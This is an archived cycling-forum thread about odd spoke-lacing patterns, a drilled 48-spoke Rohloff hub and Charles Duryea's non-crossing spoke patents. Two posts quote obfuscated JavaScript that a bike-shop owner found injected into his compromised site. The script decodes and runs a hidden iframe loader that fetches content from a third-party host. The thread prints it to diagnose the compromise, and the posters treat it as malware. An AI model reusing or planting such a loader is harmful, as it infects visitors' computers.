Cycling Equipment · Public discussion

What the hell?

Started by Email address hidden · · Last activity · 42 posts · 1,199 views

Thread navigation

Jump through the discussion

Go to the original post, the replies on this page, or the latest preserved contribution.

Thread details

What we know about this thread

Original section
Cycling Equipment
Published
8 December 2007
Last activity
12 December 2007
Original author
Email address hidden
Posts
42
Discussion status
Public discussion
Total views
1,199
Views / 30 days
0

The navigation and discussion metadata provide context. Posts remain in their original chronological order.

Showing posts 21–40 of 42
Posts remain in their original chronological order.

Text size
  1. Chalo said:
    Tim McNamara said:

    Carl Fogel wrote:

    Quoted message said:
    Quoted message said:

    So is that a 24, 36, or 60 spoke rear wheel?

    Quoted message said:

    Teenage Mutant Crow's Foot spoking. It's a 2/3 cross spoking.

    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.

    http://rideyourbike.com/48spokerohloff.html

    Chalo

    tour de force!

  2. Chalo said:

    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.

    http://rideyourbike.com/48spokerohloff.html

    Chalo

    Dear Chalo,

    As soon as I clicked on that link, my anti-virus program went wild.

    Cheers,

    Carl Fogel

  3. In article
    <[email hidden]>,

    Chalo said:
    Tim McNamara said:


    Carl Fogel said:


    So is that a 24, 36, or 60 spoke rear wheel?

    Teenage Mutant Crow's Foot spoking. It's a 2/3 cross spoking.

    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.

    http://rideyourbike.com/48spokerohloff.html

    Chalo

    I don't follow. On that webpage it's stated:

    "It is necessary to drill between each hole even though some holes do
    not get used, because the ones that do not get used are half of the
    factory drilled holes."

    By my reckoning the lacing pattern skips every 4th hole, utilizing 24
    of the 32 holes per flange to end in a 48 spoke wheel. Would not
    drilling between every second hole of the original 32 hole achieve the
    exact same pattern?

    The ornamentation at your bike's rear drops is splendid!

  4. aka Carl Fogel said:
    Chalo said:

    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.

    http://rideyourbike.com/48spokerohloff.html

    Chalo

    Dear Chalo,

    As soon as I clicked on that link, my anti-virus program went wild.

    That website set my anti-spy ware program off.

    The also misspelled "Rohloff" as "Rholoff" at the top of the page.

    --
    Tom Sherman - Holstein-Friesland Bovinia
    "Localized intense suction such as tornadoes is created when temperature
    differences are high enough between meeting air masses, and can impart
    excessive energy onto a cyclist." - Randy Schlitter

  5. In article <[email hidden]>,

    Tom Sherman said:
    aka Carl Fogel said:
    Chalo said:

    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.

    http://rideyourbike.com/48spokerohloff.html

    Chalo

    Dear Chalo,

    As soon as I clicked on that link, my anti-virus program went wild.

    That website set my anti-spy ware program off.

    Running a Mac, dunno what was happening but that site was obviously
    sending a lot of something from a third party web site, the status bar
    showed some alphabet soup web site. I suspect their Web server has been
    compromised and they should be updated. I had to force-kill my browser.
    Don't see any unusual processes running.

  6. On Dec 7, 11:15 pm, [email hidden] wrote:

    ....

    Quoted message said:

    Regrettably, Charles Duryea wrote in his patent 364231 that "the
    structure of the hub, spokes, and rim will not be claimed in this
    case, as they will form the subject of another application by me for
    patent thereon."

    http://patimg1.uspto.gov/.piw?docid=US000364231&PageNum=3&IDKey=6CAD6...

    You can't search patents that old except by number, so I don't know if
    Duryea ever did file a patent application that explained what the hell
    his 2x3 fan-spoke design was supposed to do. He abandoned bicycles and
    became an early car builder:

    http://en.wikipedia.org/wiki/Charles_Duryea

    Charles was born during the Civil War in 1862, patented his
    highwheeler breakaway handlebars at 25 in 1887, and died at 76 in
    1938.

    His brother, Frank, was born in 1869, worked with him in their car
    business before the turn of the century, and died at 98 in 1967.

    The Duryeas are important figures in automotive history, generally
    considered to be the first to produce a gasoline powered car and
    market it successfully. A prime example of how the bicycle industry
    birthed the auto industry.

    Robert

  7. Luke said:


    Chalo said:


    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.

    Quoted message said:

    http://rideyourbike.com/48spokerohloff.html

    I don't follow. On that webpage it's stated:

    "It is necessary to drill between each hole even though some holes do
    not get used, because the ones that do not get used are half of the
    factory drilled holes."

    By my reckoning the lacing pattern skips every 4th hole, utilizing 24
    of the 32 holes per flange to end in a 48 spoke wheel. Would not
    drilling between every second hole of the original 32 hole achieve the
    exact same pattern?

    Oddly, no. The pattern on the one side is constrained by the eight
    hub cap lugs. So it can't index one way or the other. But to make a
    48 hole pattern line up on 32, the other flange's spokes must rotate
    one-half hole off of the original pattern. So that means the pattern
    must be double drilled, and therefore half of the original holes must
    be left empty.

    Quoted message said:

    The ornamentation at your bike's rear drops is splendid!

    For that, you can thank David Bohm of Tucson:

    http://bohemianbicycles.com/

    My bike's dropouts looked a lot fancier before repairs that required
    me to spray green primer over the affected areas. Dave's website has
    lots of pictures that show his craft to better effect.

    Chalo

  8. CHALO,

    LET ME ASK YOU A QUESTION: how did you arive at the hole drilling
    solution? just think of it ir draw it out to completion on paper or is
    it a standard solution?

  9. Quoted message said:
    Chalo said:

    Less mutated, but still something other than "normal" crow's foot
    lacing, is what I did to my 32-spoke Rohloff hub in order to fit 48
    spokes. Later I showed Aaron's Bicycle Repair of West Seattle (an
    official Rohloff service center) how to do it.
    http://rideyourbike.com/48spokerohloff.html

    Quoted message said:

    As soon as I clicked on that link, my anti-virus program went wild.

    It crashed my Netscape
    --
    Andrew Muzi
    www.yellowjersey.org
    Open every day since 1 April, 1971

  10. Quoted message said:

    I just looked at the inside cover of Herlihy's "The Bicycle" and saw
    that the 1896 Waverly Belle's most interesting feature had been
    hidden:

    http://i10.tinypic.com/8101uuh.jpg

    At first I wondered whether those gorgeous brass (?) disks on the rear
    spokes were elaborate tie-and-solder fittings or just decorative
    buttons.

    But they aren't tie-and-solder, and they aren't decorative!

    I counted them and found only a dozen disks, not nearly enough to
    connect the crossings of what looked like 36 spokes or so.

    So I counted the stupid spokes, thinking that maybe there were fewer
    spokes than I thought.

    Nope--it looked like 36 spokes, but there were still only 12 brass
    dinguses when 18 would be needed to tie-and-solder three dozen spokes.

    Finally I _looked_ at the damn things.

    Have another look yourself.

    Hint: count the spokes coming out of any dingus in _all_ directions.

    Now do you see how weird that rear wheel is?

    Apparently, Herlihy didn't notice how odd the wheel is:

    "Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
    Company, with a steel frame and wooden handlebars, fender, and chain
    guard. (Pryor Dodge Collection)"

    So is that a 24, 36, or 60 spoke rear wheel?

    Incidentally, the front radial wheel is normal--as long as you
    consider 30 spokes normal.

    Cheers,

    Carl Fogel

    Aha! Found it! Here's the mystery hub and spokes again:

    http://i10.tinypic.com/8101uuh.jpg

    Charles Duryea patented that silly thing in 1891, #459699:

    http://patimg2.uspto.gov/.piw?Docid=00459699&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0459699.PN.%2526OS%3DPN%2F0459699%2526RS%3DPN%2F0459699&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

    "The first object I have in view is to provide a wheel of the type
    known as 'tangent spokes,' in which the spokes shall not overlap or
    cross each other."

    http://patimg2.uspto.gov/.piw?docid=US000459699&PageNum=3&IDKey=5078BF5F9B99&HomeUrl=http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1%2526Sect2=HITOFF%2526d=PALL%2526p=1%2526u=%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r=1%2526f=G%2526l=50%2526s1=0459699.PN.%2526OS=PN/0459699%2526RS=PN/0459699

    So it looks as if Chuck achieved his noble ambition--or at least
    suckered the Waverly Belle bike manufacturer into paying to license
    his patent for non-crossing tangent spokes.

    (Or maybe he owned the Waverly company?)

    But I still can't see what the hell the point was. So what if tangent
    spokes cross?

    The patent includes lots of equally mysterious details about the rim.

    Cheers,

    Carl Fogel

  11. Tim McNamara said:


    Tom Sherman said:


    Carl Fogel said:


    Chalo wrote:
    >
    >http://rideyourbike.com/48spokerohloff.html

    As soon as I clicked on that link, my anti-virus program went wild.

    That website set my anti-spy ware program off.

    Running a Mac, dunno what was happening but that site was obviously
    sending a lot of something from a third party web site, the status bar
    showed some alphabet soup web site. I suspect their Web server has been
    compromised and they should be updated. I had to force-kill my browser.
    Don't see any unusual processes running.

    I alerted Aaron, and he contacted me with the following message:

    # Thanks for the heads up, there was some java in there! Sun of a
    [censored]!
    # Hackers!
    # This is the HTML I found:
    #
    # <script language="JavaScript" type="text/javascript">
    # function A8CCEB4BB06EB0253A6E1413(A520D1896EC54D60D41A9F997B4EF6)
    {function
    # B91766D58529C94DEF(){var EE8DA919369C978F85D=16;return
    #
    EE8DA919369C978F85D;}return(parseInt(A520D1896EC54D60D41A9F997B4EF6,B91766D58529C94DEF()));}function
    # DA6E60A7035EF962546B(AD038FBA426AFE3155DB){var
    # CCF69FECE34D7E233E64="";for(BB848B741C3D56A8B=0;BB848B741C3D56A8B<
    # AD038FBA426AFE3155DB.length;BB848B741C3D56A8B+=2)
    {CCF69FECE34D7E233E64+=(
    #
    String.fromCharCode(A8CCEB4BB06EB0253A6E1413(AD038FBA426AFE3155DB.substr
    # (BB848B741C3D56A8B,
    2))));}eval(CCF69FECE34D7E233E64);}DA6E60A7035EF962546B("7868783D646F63756D656E742E676574456C656D656E7442794964282765796D6427293B6966287868783D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D65796D64207372633D687474703A2F2F676F6F676C6572616E6B2E696E666F2F636F756E7465722F3F673D76697370207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D"😉;
    # </script>
    #
    #
    # I changed my password!
    #
    # Thanks, again, Aaron

    Thanks to you guys for spotting a problem. I had not seen any unusual
    symptoms with Firefox.

    Does anybody know what the above gobbledygook does?

    Chalo

  12. Quoted message said:
    Quoted message said:

    I just looked at the inside cover of Herlihy's "The Bicycle" and saw
    that the 1896 Waverly Belle's most interesting feature had been
    hidden:

    http://i10.tinypic.com/8101uuh.jpg

    At first I wondered whether those gorgeous brass (?) disks on the rear
    spokes were elaborate tie-and-solder fittings or just decorative
    buttons.

    But they aren't tie-and-solder, and they aren't decorative!

    I counted them and found only a dozen disks, not nearly enough to
    connect the crossings of what looked like 36 spokes or so.

    So I counted the stupid spokes, thinking that maybe there were fewer
    spokes than I thought.

    Nope--it looked like 36 spokes, but there were still only 12 brass
    dinguses when 18 would be needed to tie-and-solder three dozen spokes.

    Finally I _looked_ at the damn things.

    Have another look yourself.

    Hint: count the spokes coming out of any dingus in _all_ directions.

    Now do you see how weird that rear wheel is?

    Apparently, Herlihy didn't notice how odd the wheel is:

    "Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
    Company, with a steel frame and wooden handlebars, fender, and chain
    guard. (Pryor Dodge Collection)"

    So is that a 24, 36, or 60 spoke rear wheel?

    Incidentally, the front radial wheel is normal--as long as you
    consider 30 spokes normal.

    Cheers,

    Carl Fogel

    Aha! Found it! Here's the mystery hub and spokes again:

    http://i10.tinypic.com/8101uuh.jpg

    Charles Duryea patented that silly thing in 1891, #459699:

    http://patimg2.uspto.gov/.piw?Docid=00459699&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0459699.PN.%2526OS%3DPN%2F0459699%2526RS%3DPN%2F0459699&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

    "The first object I have in view is to provide a wheel of the type
    known as 'tangent spokes,' in which the spokes shall not overlap or
    cross each other."

    http://patimg2.uspto.gov/.piw?docid=US000459699&PageNum=3&IDKey=5078BF5F9B99&HomeUrl=http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1%2526Sect2=HITOFF%2526d=PALL%2526p=1%2526u=%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r=1%2526f=G%2526l=50%2526s1=0459699.PN.%2526OS=PN/0459699%2526RS=PN/0459699

    So it looks as if Chuck achieved his noble ambition--or at least
    suckered the Waverly Belle bike manufacturer into paying to license
    his patent for non-crossing tangent spokes.

    (Or maybe he owned the Waverly company?)

    But I still can't see what the hell the point was. So what if tangent
    spokes cross?

    The patent includes lots of equally mysterious details about the rim.

    Cheers,

    Carl Fogel

    And speaking of odd wheels . . .

    http://patimg2.uspto.gov/.piw?Docid=00614284&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0614284.PN.%2526OS%3DPN%2F0614284%2526RS%3DPN%2F0614284&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

    It's a four-flange wheel, associated with other patents along the
    lines of Duryea's weird tinker-toy design.

    I wonder if the John F. Barnett who patented it and the Robert Barnett
    to whom the patent was assigned were ancestors of the Barnett manuals
    often mentioned on RBT, whose "Barnett Bicycle Institute" is located
    just up the road from me in Colorado Springs?

    Cheers,

    Carl Fogel

  13. datakoll said:


    LET ME ASK YOU A QUESTION: how did you arive at the hole drilling
    solution? just think of it ir draw it out to completion on paper or is
    it a standard solution?

    I started with just the problem to be solved and a simple CAD program
    called Ashlar Vellum. I was resigned to the possibility that I might
    need three lengths of spoke rather than just two. After trying a few
    different permutations, I arrived at the one you see in the
    pictures.

    I wound up needing two lengths of spoke that _nobody_ had-- 240mm and
    220mm if I remember correctly. Val Kleitz from the Bikesmith in
    Seattle cut them for me on his Phil Wood machine.

    Chalo

  14. Chalo said:
    Tim McNamara said:


    Tom Sherman said:


    Carl Fogel wrote:
    >
    > Chalo wrote:
    >>
    >>http://rideyourbike.com/48spokerohloff.html
    >
    > As soon as I clicked on that link, my anti-virus program went wild.

    That website set my anti-spy ware program off.

    Running a Mac, dunno what was happening but that site was obviously
    sending a lot of something from a third party web site, the status bar
    showed some alphabet soup web site. I suspect their Web server has been
    compromised and they should be updated. I had to force-kill my browser.
    Don't see any unusual processes running.

    I alerted Aaron, and he contacted me with the following message:

    # Thanks for the heads up, there was some java in there! Sun of a
    [censored]!
    # Hackers!
    # This is the HTML I found:
    #
    # <script language="JavaScript" type="text/javascript">
    # function A8CCEB4BB06EB0253A6E1413(A520D1896EC54D60D41A9F997B4EF6)
    {function
    # B91766D58529C94DEF(){var EE8DA919369C978F85D=16;return
    #
    EE8DA919369C978F85D;}return(parseInt(A520D1896EC54D60D41A9F997B4EF6,B91766D58529C94DEF()));}function
    # DA6E60A7035EF962546B(AD038FBA426AFE3155DB){var
    # CCF69FECE34D7E233E64="";for(BB848B741C3D56A8B=0;BB848B741C3D56A8B<
    # AD038FBA426AFE3155DB.length;BB848B741C3D56A8B+=2)
    {CCF69FECE34D7E233E64+=(
    #
    String.fromCharCode(A8CCEB4BB06EB0253A6E1413(AD038FBA426AFE3155DB.substr
    # (BB848B741C3D56A8B,
    2))));}eval(CCF69FECE34D7E233E64);}DA6E60A7035EF962546B("7868783D646F63756D656E742E676574456C656D656E7442794964282765796D6427293B6966287868783D3D6E756C6C297B646F63756D656E742E777269746528273C696672616D652069643D65796D64207372633D687474703A2F2F676F6F676C6572616E6B2E696E666F2F636F756E7465722F3F673D76697370207374796C653D646973706C61793A6E6F6E653E3C2F696672616D653E27293B7D"😉;
    # </script>
    #
    #
    # I changed my password!
    #
    # Thanks, again, Aaron

    Thanks to you guys for spotting a problem. I had not seen any unusual
    symptoms with Firefox.

    Does anybody know what the above gobbledygook does?

    Chalo

    Dear Chalo,

    You probably had no trouble with your Mac.

    That stuff tries to infect Windows systems with a polycrypt
    virus/trojan horse/etc with several files and mostly random names.

    Grisoft's free AVG program is easily downloaded, installed, and
    uninstalled:

    http://www.majorgeeks.com/AVG_Free_Edition_d886.html

    The second Texas site on the list is usually fast.

    Cheers,

    Carl Fogel

  15. are yawl MacAfee subscribers? here, Mac and Defender shut Windows down
    7-8 times per ten hours net plus Word

  16. On Sun, 9 Dec 2007 20:18:19 -0800 (PST), datakoll <[email hidden]>

    Quoted message said:

    are yawl MacAfee subscribers? here, Mac and Defender shut Windows down
    7-8 times per ten hours net plus Word

    Don't use either one, they are both viruses unto themselves. Use AVG.

  17. still just me said:

    On Sun, 9 Dec 2007 20:18:19 -0800 (PST), datakoll <[email hidden]>

    Quoted message said:

    are yawl MacAfee subscribers? here, Mac and Defender shut Windows down
    7-8 times per ten hours net plus Word

    Don't use either one, they are both viruses unto themselves. Use AVG.

    AVG? I'll read into the area. Dell sold Mac with the laptop I bought,
    Florida public libraries use Mac, Florida State Patrol uses Valvo...
    Mac appears to take an active interest shown by frequent interuptions
    for upgrading software.

  18. datakoll said:

    AVG? I'll read into the area. Dell sold Mac with the laptop I bought,
    Florida public libraries use Mac, Florida State Patrol uses Valvo...
    Mac appears to take an active interest shown by frequent interuptions
    for upgrading software.

    http://www.grisoft.com/avgfree

    Best choice with a Dell is to use the "system restore" disk the day
    you get it. That sets it up without most of the added applications.
    You can load anything you want off the applications disk later.

    If you've been running it a while, then the reload would be nasty. I
    would just add/remove Macf.

  19. Quoted message said:

    I just looked at the inside cover of Herlihy's "The Bicycle" and saw
    that the 1896 Waverly Belle's most interesting feature had been
    hidden:

    http://i10.tinypic.com/8101uuh.jpg


    [...]

    Quoted message said:


    Have another look yourself.

    Hint: count the spokes coming out of any dingus in _all_ directions.

    Now do you see how weird that rear wheel is?

    Apparently, Herlihy didn't notice how odd the wheel is:

    "Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
    Company, with a steel frame and wooden handlebars, fender, and chain
    guard. (Pryor Dodge Collection)"

    So is that a 24, 36, or 60 spoke rear wheel?

    Perhaps the multiplexing dinguses are "adaptors" allowing you to make up
    a wheel out of a 36H rim and 24H hub?

  20. Ben C said:
    Quoted message said:

    I just looked at the inside cover of Herlihy's "The Bicycle" and saw
    that the 1896 Waverly Belle's most interesting feature had been
    hidden:

    http://i10.tinypic.com/8101uuh.jpg


    [...]

    Quoted message said:


    Have another look yourself.

    Hint: count the spokes coming out of any dingus in _all_ directions.

    Now do you see how weird that rear wheel is?

    Apparently, Herlihy didn't notice how odd the wheel is:

    "Waverly Belle, circa 1896, a lady's model by the Indiana Bicycle
    Company, with a steel frame and wooden handlebars, fender, and chain
    guard. (Pryor Dodge Collection)"

    So is that a 24, 36, or 60 spoke rear wheel?

    Perhaps the multiplexing dinguses are "adaptors" allowing you to make up
    a wheel out of a 36H rim and 24H hub?

    Dear Ben,

    It turned out to be a deliberate design by Charles Duryea that avoids
    spoke crossings on a tangent wheel. Here's the patent:

    http://patimg2.uspto.gov/.piw?Docid=00614284&homeurl=http%3A%2F%2Fpatft.uspto.gov%2Fnetacgi%2Fnph-Parser%3FSect1%3DPTO1%2526Sect2%3DHITOFF%2526d%3DPALL%2526p%3D1%2526u%3D%25252Fnetahtml%25252FPTO%25252Fsrchnum.htm%2526r%3D1%2526f%3DG%2526l%3D50%2526s1%3D0614284.PN.%2526OS%3DPN%2F0614284%2526RS%3DPN%2F0614284&PageNum=&Rtype=&SectionNum=&idkey=NONE&Input=View+first+page

    Why Duryea wanted to avoid crossings is a mystery. Maybe it was
    related to a childhood admonition not to step on cracks in the
    sidewalk.

    Cheers,

    Carl Fogel

Active in the last 60 minutes

Active in this thread

0 users · 0 guests ·0 bots ·0 total

No signed-in users are active right now.

No known search crawlers active right now.